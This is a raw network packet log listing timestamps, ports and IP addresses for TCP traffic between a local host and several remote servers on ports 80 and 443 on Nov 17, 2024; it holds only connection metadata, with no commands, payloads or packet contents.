Nov 17, 2024 04:38:54.366316080 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366327047 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366331100 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366339922 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366362095 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366377115 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366388083 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366398096 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366409063 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366425991 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366427898 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366440058 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366451979 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366452932 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366472960 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366489887 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366561890 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366573095 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366584063 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366589069 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366594076 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366611004 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366621971 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366626024 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366636038 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366646051 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366655111 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366658926 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366671085 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366674900 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366692066 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366723061 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366733074 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366750002 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366755962 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366766930 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366779089 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366782904 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366790056 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366801977 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366812944 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366826057 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366851091 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366852999 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366864920 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366883039 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366893053 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366898060 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366905928 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366915941 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.366920948 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.366956949 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.367724895 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.407854080 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.407880068 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.407891035 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.407970905 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.409420013 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409481049 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409492016 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409502983 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409533024 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.409560919 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.409610987 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409629107 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409640074 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409651995 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409661055 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.409667015 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409677982 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409683943 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.409688950 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409698963 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409709930 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409720898 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409720898 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.409732103 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409742117 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.409749985 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.409765959 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.430747986 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.430761099 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.430771112 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.430875063 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.442315102 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442327023 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442332029 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442342997 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442346096 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442423105 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442439079 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442440987 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.442450047 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442461014 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442471027 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442492008 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.442531109 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442539930 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442630053 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442640066 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442651033 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442653894 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.442656040 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442673922 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442677975 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.442683935 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442694902 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442714930 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.442720890 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442732096 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442735910 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.442743063 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.442769051 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.454647064 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.454705000 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.454716921 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.454734087 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.454751015 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.454763889 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.454773903 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.454786062 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.454797029 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.454799891 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.454807043 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.454838037 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.506828070 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.695830107 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.696000099 CET	80	49713	185.215.113.16	192.168.2.7
Nov 17, 2024 04:38:54.696078062 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:38:54.699805021 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:39:06.196851015 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:06.196878910 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:06.197482109 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:06.197482109 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:06.197514057 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:06.197536945 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:06.197562933 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:06.199486971 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:06.200062990 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:06.200078011 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:06.484684944 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:06.484724045 CET	443	49733	142.250.186.164	192.168.2.7
Nov 17, 2024 04:39:06.484803915 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:06.485033989 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:06.485049009 CET	443	49733	142.250.186.164	192.168.2.7
Nov 17, 2024 04:39:06.582106113 CET	49713	80	192.168.2.7	185.215.113.16
Nov 17, 2024 04:39:06.932483912 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:06.932768106 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:06.932782888 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:06.933336020 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:06.933612108 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:06.933623075 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:06.933785915 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:06.933944941 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:06.934753895 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:06.934773922 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:06.934818029 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:06.934837103 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:06.935338020 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:06.935343981 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:06.935705900 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:06.935785055 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:06.935863018 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:06.978254080 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:06.978512049 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:06.978521109 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.023827076 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.169333935 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.169357061 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.169364929 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.169398069 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.169416904 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.169428110 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.169436932 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.169442892 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.169456959 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.169485092 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.169486046 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.169517040 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.169526100 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.169542074 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.169573069 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.169606924 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.169606924 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.169617891 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.169646025 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.169924021 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.181459904 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.181468964 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.181508064 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.181529999 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.181536913 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.181544065 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.181566954 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.181586027 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.181899071 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.181921959 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.181982994 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.181982994 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.181993961 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.182029963 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.286418915 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.286446095 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.286533117 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.286549091 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.286566973 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.287206888 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.287239075 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.287301064 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.287321091 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.287328959 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.287338018 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.287682056 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.287789106 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.287851095 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.287851095 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.298084021 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.298100948 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.298151970 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.298158884 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.298202038 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.298217058 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.312522888 CET	49731	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.312541008 CET	443	49731	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.369541883 CET	443	49733	142.250.186.164	192.168.2.7
Nov 17, 2024 04:39:07.403258085 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.403284073 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.403386116 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.403400898 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.403441906 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.411823988 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:07.414510012 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.414532900 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.414614916 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.414624929 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.414659023 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.449953079 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:07.449961901 CET	443	49733	142.250.186.164	192.168.2.7
Nov 17, 2024 04:39:07.451196909 CET	443	49733	142.250.186.164	192.168.2.7
Nov 17, 2024 04:39:07.451284885 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:07.480746984 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:07.480873108 CET	443	49733	142.250.186.164	192.168.2.7
Nov 17, 2024 04:39:07.519977093 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.519996881 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.520047903 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.520056009 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.520070076 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.520093918 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.526678085 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:07.526686907 CET	443	49733	142.250.186.164	192.168.2.7
Nov 17, 2024 04:39:07.531133890 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.531152010 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.531212091 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.531219006 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.531267881 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.532479048 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.532494068 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.532538891 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.532553911 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.532568932 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.532589912 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.569636106 CET	49733	443	192.168.2.7	142.250.186.164
Nov 17, 2024 04:39:07.647730112 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.647752047 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.647804022 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.647814035 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.647840977 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.647856951 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.648720026 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.648739100 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.648782015 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.648788929 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.648821115 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.648837090 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.698239088 CET	49737	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:07.698271036 CET	443	49737	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:07.698362112 CET	49737	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:07.699476957 CET	49737	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:07.699492931 CET	443	49737	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:07.727123022 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.727145910 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.727247000 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.727511883 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.727525949 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.753741980 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.753765106 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.753873110 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.753886938 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.753923893 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.764559031 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.764651060 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.764662981 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.764679909 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.764720917 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.765024900 CET	49732	443	192.168.2.7	13.107.246.67
Nov 17, 2024 04:39:07.765041113 CET	443	49732	13.107.246.67	192.168.2.7
Nov 17, 2024 04:39:07.794390917 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.794435024 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:07.794503927 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.794869900 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:07.794886112 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.469990015 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.480643034 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.480655909 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.484252930 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.484349012 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.484628916 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.484811068 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.484852076 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.527331114 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.527932882 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.527941942 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.543870926 CET	443	49737	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:08.543943882 CET	49737	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:08.543991089 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.544158936 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.544188976 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.545157909 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.545221090 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.545459032 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.545536995 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.545566082 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.547341108 CET	49737	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:08.547352076 CET	443	49737	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:08.547688961 CET	443	49737	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:08.574265957 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.587323904 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.588362932 CET	49737	443	192.168.2.7	184.28.90.27
Nov 17, 2024 04:39:08.590162039 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.590183020 CET	443	49739	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.631345987 CET	443	49737	184.28.90.27	192.168.2.7
Nov 17, 2024 04:39:08.637067080 CET	49739	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.737530947 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.737590075 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.737611055 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.737629890 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.737669945 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.737689018 CET	443	49738	13.107.246.45	192.168.2.7
Nov 17, 2024 04:39:08.737704039 CET	49738	443	192.168.2.7	13.107.246.45
Nov 17, 2024 04:39:08.737704039 CET	49738	443	192.168.2.7	13.107.246.45
